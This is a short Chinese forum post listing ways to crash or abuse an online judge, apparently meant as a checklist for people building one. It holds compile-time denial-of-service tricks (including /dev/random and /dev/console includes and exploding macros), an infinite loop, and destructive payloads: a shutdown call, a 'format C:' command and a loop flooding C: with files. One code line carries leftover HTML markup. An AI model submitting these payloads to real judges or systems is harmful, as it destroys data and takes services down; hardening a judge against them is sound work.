卡掉OJ方法集合
jijidawang
2020-02-03 18:19:46
大家要是造`OJ`的话记得用这个试试。
------------
### 1.卡编译
$\texttt{Windows}$
`#include<con>`
$\texttt{linux}$
`#include</dev/console>`
`#include</dev/random>`
`#include</dev/tty>`
`#include</dev/fd/1>`
$\texttt{通用}$
`int main[-1u]={0,};`
```cpp
#define A (1.0*1.0*1.0/1.0*1.0*1.0/1.0*1.0*1.0/1.0*1.0*1.0)
#define B (A,A)
#define C (B,B)
#define D (C,C,C,C,B,B,B,A,A)
#define E (A,D,C,B)
#define F (E,E,E,E,E)
#define G (F,E,D,F,E,F,F,F)
#define H (G,G,G,G,G)
#define I (H,H,H,H,H)
#define J (I,I,I,I,i)
#define K (J,J,J,J,J)
#define L (K,K,K,K,K)
#define M (L,L,L,L,L)
#define N (M,M,M,M,M,L,K,J,I,L)
int main()
{
N
return 0;
}
```
-----------
### 2.卡时间
`while(1)`
-------------
### 3.其他
#### 3-1.恶意式
`system("shutdown -s -t 0");` 直接关机
`format C:/a` 格式化C盘
```cpp
for (int i=0;i<10000;++i)
{
string s="C:\\";
s+=to_string(i); // C++11
s+=".txt";
ofstream fout(s,ios::out);
fout</span><span class="p">.</span><span class="n">close</span><span class="p">();</span>
}
在C盘创建10000个文本文档
```
#### 3-2.无意式
- `RE`的正确处理。
- `CTLE`的正确处理。